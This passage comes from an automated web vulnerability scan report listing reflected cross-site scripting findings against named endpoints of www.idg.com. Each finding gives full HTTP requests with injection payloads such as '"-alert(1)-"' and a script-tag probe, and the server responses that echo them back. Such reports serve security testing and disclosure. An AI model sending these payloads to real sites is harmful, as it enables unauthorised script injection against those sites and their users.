User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:38 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5121
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www/homenew.nsf/DataRequestor.js2e6fc";52ee92d580b?OpenJavascriptLibrary");
} catch(err) {}</script>
...[SNIP]...

1.15. http://www.idg.com/www/homenew.nsf/JSLib.js [OpenJavascriptLibrary parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.idg.com
Path:	/www/homenew.nsf/JSLib.js

Issue detail

The value of the OpenJavascriptLibrary request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8f59f"-alert(1)-"3db55aa5adb was submitted in the OpenJavascriptLibrary parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /www/homenew.nsf/JSLib.js?OpenJavascriptLibrary8f59f"-alert(1)-"3db55aa5adb HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 500 Internal Server Error
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:09 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5123
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www/homenew.nsf/JSLib.js?OpenJavascriptLibrary8f59f"-alert(1)-"3db55aa5adb");
} catch(err) {}</script>
...[SNIP]...

1.16. http://www.idg.com/www/homenew.nsf/JSLib.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.idg.com
Path:	/www/homenew.nsf/JSLib.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dbcfd"%3b1dc53ebbe69 was submitted in the REST URL parameter 1. This input was echoed as dbcfd";1dc53ebbe69 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /wwwdbcfd"%3b1dc53ebbe69/homenew.nsf/JSLib.js?OpenJavascriptLibrary HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:12 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5113
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /wwwdbcfd";1dc53ebbe69/homenew.nsf/JSLib.js?OpenJavascriptLibrary");
} catch(err) {}</script>
...[SNIP]...

1.17. http://www.idg.com/www/homenew.nsf/JSLib.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.idg.com
Path:	/www/homenew.nsf/JSLib.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 73276"%3b57cc58e7814 was submitted in the REST URL parameter 3. This input was echoed as 73276";57cc58e7814 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /www/homenew.nsf/JSLib.js73276"%3b57cc58e7814?OpenJavascriptLibrary HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:21 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5113
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www/homenew.nsf/JSLib.js73276";57cc58e7814?OpenJavascriptLibrary");
} catch(err) {}</script>
...[SNIP]...

1.18. http://www.idg.com/www/homenew.nsf/ajaxroutine.js [OpenJavascriptLibrary parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.idg.com
Path:	/www/homenew.nsf/ajaxroutine.js

Issue detail

The value of the OpenJavascriptLibrary request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c2164"-alert(1)-"6776fc1ee4c was submitted in the OpenJavascriptLibrary parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /www/homenew.nsf/ajaxroutine.js?OpenJavascriptLibraryc2164"-alert(1)-"6776fc1ee4c HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 500 Internal Server Error
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:24 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5129
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www/homenew.nsf/ajaxroutine.js?OpenJavascriptLibraryc2164"-alert(1)-"6776fc1ee4c");
} catch(err) {}</script>
...[SNIP]...

1.19. http://www.idg.com/www/homenew.nsf/ajaxroutine.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.idg.com
Path:	/www/homenew.nsf/ajaxroutine.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4d08b"%3bb10e60c2210 was submitted in the REST URL parameter 1. This input was echoed as 4d08b";b10e60c2210 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /www4d08b"%3bb10e60c2210/homenew.nsf/ajaxroutine.js?OpenJavascriptLibrary HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:25 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5119
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www4d08b";b10e60c2210/homenew.nsf/ajaxroutine.js?OpenJavascriptLibrary");
} catch(err) {}</script>
...[SNIP]...

1.20. http://www.idg.com/www/homenew.nsf/ajaxroutine.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.idg.com
Path:	/www/homenew.nsf/ajaxroutine.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 53970"%3b3df099128fd was submitted in the REST URL parameter 3. This input was echoed as 53970";3df099128fd in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /www/homenew.nsf/ajaxroutine.js53970"%3b3df099128fd?OpenJavascriptLibrary HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:31 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5119
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www/homenew.nsf/ajaxroutine.js53970";3df099128fd?OpenJavascriptLibrary");
} catch(err) {}</script>
...[SNIP]...

1.21. http://www.idg.com/www/homenew.nsf/core.js [OpenJavascriptLibrary parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.idg.com
Path:	/www/homenew.nsf/core.js

Issue detail

The value of the OpenJavascriptLibrary request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5a222"-alert(1)-"49f5835726d was submitted in the OpenJavascriptLibrary parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /www/homenew.nsf/core.js?OpenJavascriptLibrary5a222"-alert(1)-"49f5835726d HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 500 Internal Server Error
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:21 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5122
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www/homenew.nsf/core.js?OpenJavascriptLibrary5a222"-alert(1)-"49f5835726d");
} catch(err) {}</script>
...[SNIP]...

1.22. http://www.idg.com/www/homenew.nsf/core.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.idg.com
Path:	/www/homenew.nsf/core.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5def2"%3bc173b3d5727 was submitted in the REST URL parameter 1. This input was echoed as 5def2";c173b3d5727 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /www5def2"%3bc173b3d5727/homenew.nsf/core.js?OpenJavascriptLibrary HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:25 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5112
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www5def2";c173b3d5727/homenew.nsf/core.js?OpenJavascriptLibrary");
} catch(err) {}</script>
...[SNIP]...

1.23. http://www.idg.com/www/homenew.nsf/core.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.idg.com
Path:	/www/homenew.nsf/core.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f89a2"%3b0571f993f6e was submitted in the REST URL parameter 3. This input was echoed as f89a2";0571f993f6e in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /www/homenew.nsf/core.jsf89a2"%3b0571f993f6e?OpenJavascriptLibrary HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:29 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5112
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www/homenew.nsf/core.jsf89a2";0571f993f6e?OpenJavascriptLibrary");
} catch(err) {}</script>
...[SNIP]...

1.24. http://www.idg.com/www/homenew.nsf/home [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.idg.com
Path:	/www/homenew.nsf/home

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7adb0"%3b9c68301314f was submitted in the REST URL parameter 1. This input was echoed as 7adb0";9c68301314f in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /www7adb0"%3b9c68301314f/homenew.nsf/home?readform HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:26 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5096
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www7adb0";9c68301314f/homenew.nsf/home?readform");
} catch(err) {}</script>
...[SNIP]...

1.25. http://www.idg.com/www/homenew.nsf/home [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.idg.com
Path:	/www/homenew.nsf/home

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a689b"%3b75c07fbe104 was submitted in the REST URL parameter 3. This input was echoed as a689b";75c07fbe104 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /www/homenew.nsf/homea689b"%3b75c07fbe104?readform HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:30 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5096
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www/homenew.nsf/homea689b";75c07fbe104?readform");
} catch(err) {}</script>
...[SNIP]...

1.26. http://www.idg.com/www/homenew.nsf/home [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.idg.com
Path:	/www/homenew.nsf/home

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b9341"><script>alert(1)</script>3b16a29b341 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /www/homenew.nsf/home?readform&b9341"><script>alert(1)</script>3b16a29b341=1 HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/

Response

HTTP/1.1 200 OK
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:25 GMT
Last-Modified: Mon, 19 Sep 2011 19:31:23 GMT
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html
Content-Length: 15659
Cache-control: no-cache

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>IDG.com: Home</titl
...[SNIP]...
<input name="QUERY_STRING" id="QUERY_STRING" type="hidden" value="readform&b9341"><script>alert(1)</script>3b16a29b341=1">
...[SNIP]...

1.27. http://www.idg.com/www/homenew.nsf/home [readform parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.idg.com
Path:	/www/homenew.nsf/home

Issue detail

The value of the readform request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f5127"-alert(1)-"e35f2f22a26 was submitted in the readform parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /www/homenew.nsf/home?readformf5127"-alert(1)-"e35f2f22a26 HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/

Response

HTTP/1.1 500 Internal Server Error
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:20 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5106
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www/homenew.nsf/home?readformf5127"-alert(1)-"e35f2f22a26");
} catch(err) {}</script>
...[SNIP]...

1.28. http://www.idg.com/www/homenew.nsf/idg_mainbanner.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.idg.com
Path:	/www/homenew.nsf/idg_mainbanner.jpg

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 875b7"%3be21c28a9c5f was submitted in the REST URL parameter 1. This input was echoed as 875b7";e21c28a9c5f in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /www875b7"%3be21c28a9c5f/homenew.nsf/idg_mainbanner.jpg?openimageresource HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:33:48 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5119
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www875b7";e21c28a9c5f/homenew.nsf/idg_mainbanner.jpg?openimageresource");
} catch(err) {}</script>
...[SNIP]...

1.29. http://www.idg.com/www/homenew.nsf/idg_mainbanner.jpg [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.idg.com
Path:	/www/homenew.nsf/idg_mainbanner.jpg

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9a4c4"%3b394d63a7787 was submitted in the REST URL parameter 3. This input was echoed as 9a4c4";394d63a7787 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /www/homenew.nsf/idg_mainbanner.jpg9a4c4"%3b394d63a7787?openimageresource HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:33:49 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5119
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www/homenew.nsf/idg_mainbanner.jpg9a4c4";394d63a7787?openimageresource");
} catch(err) {}</script>
...[SNIP]...

1.30. http://www.idg.com/www/homenew.nsf/idg_mainbanner.jpg [openimageresource parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.idg.com
Path:	/www/homenew.nsf/idg_mainbanner.jpg

Issue detail

The value of the openimageresource request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ea397"-alert(1)-"7607a1e5cad was submitted in the openimageresource parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

